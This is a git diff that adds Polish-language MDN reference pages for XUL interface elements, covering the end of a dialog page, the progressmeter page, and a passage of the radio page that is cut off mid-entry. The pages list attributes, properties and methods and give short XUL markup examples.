+<dl><dt> <span id="m-centerWindowOnScreen"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/centerWindowOnScreen">centerWindowOnScreen()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ustawia okienko dialogowe na środku ekranu.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getButton"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getButton">getButton( typ )</a></code></span>
+</dt><dd> Zwraca typ: <i>element button</i>
+</dd><dd> Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code> o zadanym typie, znajdujący się w okienku dialogowym.
+</dd></dl>
+<p><br>
+</p>
+
+<dl>
+ <dt>
+ <span id="m-openWindow"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/openWindow">openWindow( windowtype, url, features, params )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ window</i>
+ </dd>
+ <dd>
+ Otwiera potomne okno. <var>windowtype</var> jest łańcuchem znaków określającym typ okna. Jeśli okno jest z tym typem, które jest teraz otwarte, to metoda ta będzie przełączała to okno na wierzch i stanie się aktywne, zamiast otwarcia kolejnego okna. Jeśli typ okna nie jest otwarty, nowe jest otwierane wyświetlając dostarczony <var>url</var>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-showPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPane">showPane( prefpane )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Włącza specjalne okno.</dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/progressmeter/index.html b/files/pl/mozilla/tech/xul/progressmeter/index.html
new file mode 100644
index 0000000000..e9adbe9501
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/progressmeter/index.html
@@ -0,0 +1,170 @@
+---
+title: progressmeter
+slug: Mozilla/Tech/XUL/progressmeter
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/progressmeter
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pasek postępu, który możemy zastosować do wyświetlenia postępu długości operacji. Jest to rysowany pasek, który jest wypełniany w miarę jak operacja jest zakończona. W dodatku nieokreślony <code>progressmeter</code> można utworzyć ustawiając atrybut <code id="a-mode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mode">mode</a></code> na wartość <code>undetermined</code>. Jest stosowany wtedy, gdy długość czasu zakończenia operacji nie jest znany wcześniej.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Paski_post%c4%99pu">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-progressmeter.mode">mode</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-mode">mode</a>, <a href="#p-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_progress.png"></div>
+<pre>&lt;progressmeter mode="determined" value="82"/&gt;
+&lt;progressmeter mode="undetermined"/&gt;
+</pre>
+<pre>&lt;!-- switching modes - eg on an ajax call, but in this example with a mouseover the button --&gt;
+&lt;progressmeter mode="determined" id="myProgress"/&gt;
+&lt;button label="Example" onmouseover="setLoading(true)" onmouseout="setLoading(false)"/&gt;
+function setLoading(state){
+ document.getElementById('myProgress').mode = (state) ? 'undetermined' : 'determined';
+}
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-progressmeter.mode">
+
+<dl><dt> <a href="pl/XUL/Atrybut/progressmeter.mode">mode</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> <code>determined</code> czyli określony <code><a href="/pl/docs/Mozilla/Tech/XUL/progressmeter" title="progressmeter">progressmeter</a></code> możemy zastosować w przypadku, gdzie znamy długość operacji jaka jest wykonywana. <code>undetermined</code> czyli nieokreślony <code><a href="/pl/docs/Mozilla/Tech/XUL/progressmeter" title="progressmeter">progressmeter</a></code> możemy zastosować do do operacji, w której nie możemy określić czasu jej przebiegu i zazwyczaj będzie wyświetlony jako słupek. <span class="comment">'''as a spinning barber pole.'''</span>
+</dd></dl>
+<ul><li> <code>determined</code>: Stosujemy do określania wartości (liczby) atrybutu paska postępu określonego, która jest następnie wyświetlona. </li><li> <code>undetermined</code>: Pasek postępu jest nieokreślony.
+</li></ul>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-progressmeter.value">
+
+<dl><dt> <a href="pl/XUL/Atrybut/progressmeter.value">value</a>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Zakres liczbowy od 0 do 100, który wyświetla postęp. Dla przykładu, ustaw wartość na "0", która pokaże pusty pasek. Natomiast ustawiając wartość na "100" zobaczymy wypełnienie całej długości paska, a wartość ustawiona na "25" zajmie jedną czwartą paska. Znaki po liczbie są ignorowane. </dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-mode">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/mode">mode</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-mode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mode">mode</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/radio/index.html b/files/pl/mozilla/tech/xul/radio/index.html
new file mode 100644
index 0000000000..ca97414061
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/radio/index.html
@@ -0,0 +1,314 @@
+---
+title: radio
+slug: Mozilla/Tech/XUL/radio
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/radio
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element, który może być włączany lub wyłączany. Przyciski opcji są prawie zawsze pogrupowane razem w grupę. Tylko jeden przycisk opcji wewnątrz tego samego <code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code> może być zaznaczony w jednym czasie. Użytkownik może włączyć przycisk opcji, jeśli klikniemy włączony poprzez zaznaczenie opcji myszka lub poprzez klawiaturę. Inne przyciski opcji w tej samej grupie zostaną wyłączone. Etykieta, określona za pomocą atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> i możemy dodać ją obok przycisku opcji. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Kontrolki_wej%c5%9bcia">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty </dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-focused">focused</a>, <a href="#a-group">group</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-selected">selected</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessKey">accessKey</a>, <a href="#p-accessible">accessible</a>, <a href="#p-crop">crop</a>, <a href="#p-disabled">disabled</a>, <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-radioGroup">radioGroup</a>, <a href="#p-selected">selected</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_radio.png"></div>
+<pre>&lt;radiogroup&gt;
+ &lt;radio id="orange" label="Red" accesskey="R"/&gt;
+ &lt;radio id="violet" label="Green" accesskey="G" selected="true"/&gt;
+ &lt;radio id="yellow" label="Blue" accesskey="B" disabled="true"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-command">
+
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-focused">
+
+<dl><dt> <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut jest ustawiony na <code>true</code>, jeśli element jest aktywny (focused).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-group">
+
+<dl>
+ <dt>
+ <code id="a-group"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/group">group</a></code></dt>
+ <dd>
+ Typ:
+ <i>
